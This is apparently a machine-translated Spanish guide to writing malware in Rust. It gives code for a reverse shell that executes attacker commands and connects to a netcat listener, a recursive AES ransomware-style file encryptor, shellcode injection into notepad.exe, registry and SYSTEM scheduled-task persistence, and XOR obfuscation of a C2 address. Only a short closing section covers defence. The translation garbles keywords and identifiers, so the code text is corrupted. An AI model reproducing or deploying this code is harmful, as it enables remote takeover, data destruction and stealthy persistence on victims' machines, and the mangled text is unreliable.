Introducción: El aumento del óxido en el óxido de malware se ha convertido en una herramienta formidable para los desarrolladores de malware debido a sus características únicas: la seguridad de la memoria elimina los errores comunes como los desbordamientos del búfer, los rivales de alto rendimiento C/C ++ y los binarios compactos evaden la detección tradicional antivirus. Su soporte multiplataforma y dependencias mínimas de tiempo de ejecución lo hacen ideal para elaborar cargas útiles robustas y sigilosas. Esta guía se sumerge profundamente en ejemplos prácticos (conchas de reverso, cifrado de estilo de ransomware, inyección de procesos, mecanismos de persistencia y ofuscación) al tiempo que enfatiza las contramedidas defensivas. ¿Por qué óxido? El malware como Rustbucket (atribuido a los actores de Corea del Norte) y muestras analizadas por Trend Micro Showcase de la creciente adopción de Rust. Sus bajas tasas de detección y su capacidad para compilar el código nativo lo convierten en una amenaza de próxima generación, desafiando a los defensores a adaptarse. 1. Shell inverso de óxido: carga útil de comando y control Un shell inverso conecta una máquina víctima al oyente de un atacante, permitiendo la ejecución de comandos remotos. Esta implementación de óxido utiliza enchufes TCP y genera un proceso de concha, lo que lo hace multiplataforma con ajustes menores. Uso de laboratorio solamente. use std :: net :: tcpStream; usar std :: io :: {self, leer, escribir}; usar std :: proceso :: {comando, stdio}; usar std :: str; fn main () -> io :: resultado<()> {// Conéctese al oyente del atacante (reemplace con su laboratorio ip: puerto) dejar mut stream = tcpStream :: Connect («127.0.0.1:4444»)?; println! («Conectado al servidor C2»); // buffer para recibir comandos deja Mut buffer = [0; 2048]; bucle {// Leer el comando del atacante Match stream.read (& Mut buffer) {ok (n) si n> 0 => {let comando = str :: from_utf8 (& bufferer[..n]) .unwrap_or («inválido UTF-8») .trim () .to_string (); if command.is_empty () {continuar; } println! («Comando recibido: {}», comando); // Ejecutar el comando (Windows: cmd, linux: sh) let output = if cfg! (Target_os = «windows») {command :: new («cmd») .args (& &[«/C», &command]) .stdout (stdio :: piped ()) .stderr (stdio :: piped ()) .output ()} else {command :: new («sh») .args (& & &[«-c», &command]) .stdout (stdio :: piped ()) .stderr (stdio :: piped ()) .output ()}?; // enviar la salida de regreso al atacante stream.write_all (& output.stdout)?; stream.write_all (& output.stderr)?; stream.flush ()?; } Ok (_) => {println! («Conexión cerrada por servidor.»); romper; } Err (e) => {ePrintln! («Lectura de error de la transmisión: {}», e); romper; }}} Ok ((())} Configuración: no se necesitan cajas externas, solo la biblioteca estándar de Rust Rust. Ejecute un oyente (por ejemplo, `NC -LVP 4444`) en el lado del atacante. Prueba comandos como `dir` (Windows) o` ls` (Linux con `sh`). Características: Compatibilidad multiplataforma, manejo de errores y E/S tamponada para la estabilidad. Contexto del mundo real: las conchas inversas son alimentos básicos en ejercicios del equipo rojo y malware como el meterpreter. El rendimiento de Rust garantiza conexiones confiables incluso bajo carga. 2. Cifrado de archivos de óxido: simulación de ransomware Esta muestra imita el ransomware cifre archivos con AES-256 en modo CBC, utilizando una clave aleatoria y IV. Se dirige a un directorio de manera recursiva, agregando `.Enc` a archivos cifrados. Uso de laboratorio solamente. usar AES :: AES256; usar block_modes :: {blockmode, cbc}; use block_modes :: block_padding :: pkcs7; usar rand :: rng; usar std :: fs :: {self, file}; usar std :: io :: {self, leer, escribir}; use std :: ruta :: ruta; Tipo AES256CBC = CBC; FN CIRRYPT_FILE (input_path: & str, clave: &[u8; 32]IV: y[u8; 16]) -> io :: resultado<()> {Let cipher = aes256cbc :: new_from_slices (clave, iv) .expect («Key/IV» inválido «); Let Mut file = file :: Open (input_path)?; Let Mut buffer = vec :: new (); file.read_to_end (& Mut buffer)?; dejar cifrado = cipher.encrypt_vec (& buffer); Let output_path = format! («{}. enc», input_path); fs :: write (& output_path, & ciphertext)?; println! («Encrypted: {} -> {}», input_path, output_path); OK (())} FN CiCryPT_Directory (dir_path: & str, clave: & &[u8; 32]IV: y[u8; 16]) -> io :: resultado<()> {para la entrada en fs :: read_dir (dir_path)? {dejar entrada = entrada?; Let Path = Entry.path (); if path.is_file () {ciRYPT_FILE (path.to_str (). Unwrap (), Key, IV)?; } else if path.is_dir () {cifrypt_directory (path.to_str (). Unwrap (), Key, IV)?; }} Ok (())} fn main () -> io :: resultado<()> {let key = rand :: thread_rng (). Gen ::<[u8; 32]>(); Let IV = rand :: thread_rng (). Gen ::<[u8; 16]>(); println! («Clave generada: {: x?}», clave); println! («Generado iv: {: x?}», iv); Let Target_dir = «c:/test_dir»; // Reemplace con su directorio de laboratorio si ruta :: new (Target_dir) .Exists () {CiCrypt_Directory (Target_dir, & Key, & IV)?; println! («Cifrado de directorio completo»); } else {ePrintln! («El directorio de destino no existe: {}», target_dir); } Ok (())} dependencias (carga.toml): [dependencies]
AES = «0.8» Bloque-modes = «0.9» rand = «0.8» Características: Traversal recursivo Traversal, Manejo de errores y registro. Contexto: el ransomware como WannaCry encripta unidades enteras; Esta muestra escala a directorios, imitando amenazas reales. Almacene la clave/IV de forma segura en un laboratorio para simular las demandas de descifrado. 3. Inyección del proceso de óxido: la inyección de proceso de ejecución de sigilo ejecuta código malicioso dentro de un proceso legítimo (por ejemplo, `notepad.exe`), evadiendo la detección. Este pseudocódigo detallado describe la técnica con las API de Windows. La implementación completa requiere `Winapi` y óxido inseguro, por lo que se mantiene conceptual. Uso de laboratorio solamente. usar std :: ptr; use winapi :: ctypes :: c_void; use winapi :: um :: processthreadsapi :: {CreateProcessa, crereaterMotethread, reanude}; Use Winapi :: Um :: MemoryApi :: {virtualAllOcex, WriteProcessMemory}; use winapi :: um :: winbase :: create_suspended; use winapi :: um :: winnt :: {process_all_access, mem_commit, mem_reserve, page_execute_readwrite}; Use Winapi :: Shared :: MinWindef :: LPVoid; fn inject_shellcode (target_process: & str, shellcode: &[u8]) -> resultado<(), String> {inseguro {// Paso 1: Crear proceso de destino en estado suspendido Deje Mut startup_info = std :: mem :: ceroed (); Let Mut Process_info = std :: mem :: ceroed (); let success = CreateProcessA( target_process.as_ptr() as *const i8, // eg, «C:\Windows\notepad.exe» ptr::null_mut(), ptr::null_mut(), ptr::null_mut(), 0, CREATE_SUSPENDED, ptr::null_mut(), ptr::null_mut(), &mut startup_info, & Mut Process_info,); if Success == 0 {return Err («Error al crear el proceso» .to_string ()); } // Paso 2: Asignar memoria en el proceso de destino Let Remote_Memory = virtualLoCex (process_info.hprocess, ptr :: null_mut (), shellcode.len (), mem_commit | mem_reserve, page_execute_readwrite,); if remote_memory.is_null () {return err («no se puede asignar memoria» .to_string ()); } // Paso 3: Escriba ShellCode a la memoria asignada Deja Mut bytes_written = 0; Let Succes = WriteProCessMemory (Process_info.hprocess, remoto_memory, shellcode.as_ptr () como *const c_void, shellcode.len (), & mut bytes_written,); Si éxito == 0 || bytes_written! = shellcode.len () {return Err («Error al escribir ShellCode» .to_string ()); } // Paso 4: Cree un hilo remoto para ejecutar shellcode let thifre_handle = crereateremotethread (process_info.hprocess, ptr :: null_mut (), 0, algunos (std :: mem :: transmute (remoto_memory)), ptr :: null_mut (), 0, ptr :: null_mut (),); if Thread_handle.is_null () {return Err («Error al crear un hilo remoto» .to_string ()); } // Paso 5: Ejecución del proceso de reanudar reanudación (proceso_info.hthread); // limpieza (en un escenario real, manijas cercanas) println! («Inyección exitosa en {}», Target_process); Ok (())}} fn main () {// Ejemplo de shellcode (nop sled + salida simple, para demostración) deje shellcode: & & &[u8] = &[
0x90, 0x90, 0x90, // NOP sled
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, 0 (exit code)
0xC3 // ret
]; Si let Err (e) = inject_shellCode («c: \ windows \ notepad.exe», shellcode) {ePrintln! («inyección fallida: {}», e); }} Dependencias (CARGO.TOML): [dependencies]
winapi = {versión = «0.3», características = [«processthreadsapi», «memoryapi», «winbase», «winnt», «minwindef»] } Notas: Este es pseudocódigo con llamadas de API reales, pero requiere bloques « inseguros ‘y vinculación adecuada. El shellcode es un marcador de posición (NOP + EXIT). El malware real utiliza cargas útiles complejas (por ejemplo, meterpreter). Contexto: las técnicas como esta se ven en troyanos bancarios como Emotet. 4. Persistencia de óxido: Registro y tareas programadas Esta muestra garantiza la persistencia a través de dos métodos: Windows Registry ejecuta la clave y una tarea programada. Uso de laboratorio solamente. 4.1 Registro de ejecución clave Use Winreg :: Regkey; use winreg :: enums ::*; usar std :: io; fn set_registry_persistence () -> io :: resultado<()> {Let hkcu = regkey :: predef (hkey_current_user); LET (KEY, _) = HKCU.CREATE_SUBKEY («Software \ Microsoft \ Windows \ CurrentVersion \ Run»)?; key.set_value («RustPersist», & «C: \ Lab \ Malware.exe»)?; println! («Registro de persistencia Conjunto»); Ok (())} fn main () -> io :: resultado<()> {set_registry_persistence ()?; OK (())} Dependencias: `winreg =» 0.10 «` 4.2 Tarea programada Use std :: proceso :: comando; usar std :: io; fn set_scheduled_task () -> io :: resultado<()> {Let Output = Command :: New («Schtasks») .args (&[
«/create»,
«/tn», «RustMalwareTask»,
«/tr», «C:\lab\malware.exe»,
«/sc», «ONLOGON»,
«/ru», «SYSTEM»,
]) .producción()?; if output.status.success () {println! («Tarea programada creada: Rustmalwaretask»); } else {ePrintln! («Error al crear tarea: {}», string :: from_utf8_lossy (& output.stderr)); } Ok (())} fn main () -> io :: resultado<()> {set_scheduled_task ()?; OK (())} Características: Métodos de persistencia dual para la redundancia. Contexto: el malware como Ryuk utiliza tareas programadas para la persistencia, a menudo emparejadas con la escalada de privilegios. 5. Ofuscación de óxido: técnica anti-análisis Esta muestra demuestra cifrado de cadena para ocultar datos confidenciales (p. Ej., C2 direcciones del servidor) del análisis estático. Uso de laboratorio solamente. use std :: string :: string; fn xor_encrypt_decrypt (Data: & str, key: u8) -> string {data.chars () .map (| c | (c as u8 ^ key) como char) .collect ()} fn main () {let original = «192.168.1.10:4444»; Let Key = 0x42; // clave XOR simple dejar cifrado = xor_encrypt_decrypt (original, clave); Let Decrypted = xor_encrypt_decrypt (& cifrado, clave); println! («original: {}», original); println! («encriptado: {}», cifrado); println! («descifrado: {}», descifrado); } Características: cifrado básico de XOR. Contexto: el malware real utiliza la ofuscación avanzada (por ejemplo, AES, Base64), pero esto ilustra el concepto. 6. Referencias de malware de óxido en vivo 7. Estrategias de defensa Análisis de comportamiento: use EDR/XDR (por ejemplo, CrowdStrike) para detectar una actividad inusual de red o proceso. Reglas de Yara: firmas de artesanía para binarios de óxido (por ejemplo, artefactos `Rustc` como cuerdas de pánico). Sandboxing: analizar en cuco sandbox o análisis híbrido. Monitoreo: rastrear el registro, el archivo y los cambios de proceso con Sysmon. Amenaza Intel: Aproveche las asignaciones de Mitre ATT y CK para malware de óxido.